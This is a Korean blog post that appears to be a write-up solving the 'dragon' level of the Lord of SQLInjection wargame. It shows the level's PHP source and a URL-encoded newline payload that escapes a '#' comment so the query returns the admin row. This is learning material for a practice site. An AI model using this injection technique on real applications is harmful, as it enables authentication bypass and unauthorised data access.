반응형
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("dragon");
highlight_file(__FILE__);
?>
한줄 주석인 #을 이용하고 있는 쿼리다.
이런 경우 개행을 이용해주면 문제를 풀 수 있다.
기존 아래 쿼리를
select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'
입력에 개행을 넣어줘서 아래처럼 만들어준다.
select id from prob_dragon where id='guest'# and pw='
and pw='1' or id='admin'
( 이렇게 입력 : pw=%0d%0aand%20pw=%271%27%20or%20id=%27admin )
서버 환경에 따라 개행 문자 인식이 두 가지가 있다.
1. 윈도우 : %0d%0a
-> %0a하면 개행 역할을 완전히 하지 못함.
2. 유닉스 : %0a
-> %0a만으로도 개행역할을 해줌.
나는 개행 문자로 %0d%0a를 사용했다. 근데 %0a도 먹히더라. 아마 유닉스 기반인 듯 싶다.
반응형
'[웹해킹] > [LOS]' 카테고리의 다른 글
[LOS] DARK_EYES (0) | 2020.12.30 |
---|---|
[LOS] IRON_GOLEM (0) | 2020.12.29 |
[LOS] XAVIS (0) | 2020.12.27 |
[LOS] NIGHTMARE (0) | 2020.12.25 |
[LOS] ZOMBIE_ASSASSIN (1) | 2020.12.22 |